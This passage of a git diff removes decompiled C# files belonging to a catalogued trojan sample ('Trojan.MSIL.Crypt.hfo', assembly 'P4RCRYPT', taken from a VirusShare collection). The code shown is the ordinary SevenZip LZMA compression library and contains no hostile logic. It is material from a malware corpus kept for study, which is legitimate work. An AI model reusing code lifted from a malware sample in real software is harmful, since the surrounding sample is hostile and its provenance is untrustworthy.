_bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/OutWindow.cs deleted file mode 100644 index 813c6756..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Base.cs deleted file mode 100644 index 03da97ee..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Decoder.cs deleted file mode 100644 index 892eb9e2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Encoder.cs deleted file mode 100644 index 2817e94e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: P4RCRYPT, Version=1.5.0.1, Culture=neutral, PublicKeyToken=null -// MVID: 4891D0B8-51F3-4781-A2EC-4C9FF8BB24CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) 